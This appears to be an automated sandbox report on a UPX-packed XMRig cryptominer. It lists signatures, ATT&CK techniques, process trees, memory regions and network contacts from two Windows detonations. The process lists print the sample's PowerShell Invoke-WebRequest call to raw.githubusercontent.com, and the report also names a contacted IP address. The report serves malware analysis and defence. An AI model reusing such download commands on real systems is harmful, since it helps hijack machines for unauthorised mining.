Malware Analysis Report

2024-07-28 21:33

Sample ID 240613-2nhblatcra
Target 4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772
SHA256 4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772
Tags
miner upx xmrig execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772

Threat Level: Known bad

The file 4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772 was found to be: Known bad.

Malicious Activity Summary

miner upx xmrig execution

UPX dump on OEP (original entry point)

Xmrig family

xmrig

XMRig Miner payload

Detects executables containing URLs to raw contents of a Github gist

XMRig Miner payload

Detects executables containing URLs to raw contents of a Github gist

UPX dump on OEP (original entry point)

Command and Scripting Interpreter: PowerShell

UPX packed file

Legitimate hosting services abused for malware hosting/C2

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-13 22:43

Signatures

Detects executables containing URLs to raw contents of a Github gist

Description Indicator Process Target
N/A N/A N/A N/A

UPX dump on OEP (original entry point)

Description Indicator Process Target
N/A N/A N/A N/A

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A

Xmrig family

xmrig

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 22:43

Reported

2024-06-13 22:46

Platform

win7-20240611-en

Max time kernel

132s

Max time network

146s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe"

Signatures

xmrig

miner xmrig

Detects executables containing URLs to raw contents of a Github gist

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

UPX dump on OEP (original entry point)

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2404 wrote to memory of 1464 N/A C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2404 wrote to memory of 1464 N/A C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2404 wrote to memory of 1464 N/A C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe

"C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

Network

Country Destination Domain Proto
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp

Files

memory/2404-0-0x000000013F7B0000-0x000000013FBA6000-memory.dmp

memory/2404-1-0x0000000000300000-0x0000000000310000-memory.dmp

memory/1464-6-0x000007FEF5D1E000-0x000007FEF5D1F000-memory.dmp

memory/1464-7-0x000000001B2A0000-0x000000001B582000-memory.dmp

memory/1464-8-0x0000000002290000-0x0000000002298000-memory.dmp

memory/1464-9-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

memory/1464-10-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

memory/1464-11-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

memory/1464-12-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

memory/1464-13-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

memory/1464-14-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

memory/2404-15-0x000000013F7B0000-0x000000013FBA6000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 22:43

Reported

2024-06-13 22:46

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe"

Signatures

xmrig

miner xmrig

Detects executables containing URLs to raw contents of a Github gist

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

UPX dump on OEP (original entry point)

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2944 wrote to memory of 560 N/A C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2944 wrote to memory of 560 N/A C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe

"C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4012,i,2607710392823067546,4648797561512801463,262144 --variations-seed-version --mojo-platform-channel-handle=2856 /prefetch:8

Network

Country Destination Domain Proto
DE 3.120.98.217:8080 tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 raw.githubusercontent.com udp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp

Files

memory/2944-0-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp

memory/2944-1-0x0000019875A10000-0x0000019875A20000-memory.dmp

memory/560-2-0x00007FFF006D3000-0x00007FFF006D5000-memory.dmp

memory/560-3-0x0000023060740000-0x0000023060762000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uoydocd3.hef.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/560-13-0x00007FFF006D0000-0x00007FFF01191000-memory.dmp

memory/560-14-0x00007FFF006D0000-0x00007FFF01191000-memory.dmp

memory/560-15-0x00007FFF006D0000-0x00007FFF01191000-memory.dmp

memory/560-18-0x00007FFF006D0000-0x00007FFF01191000-memory.dmp

memory/2944-19-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp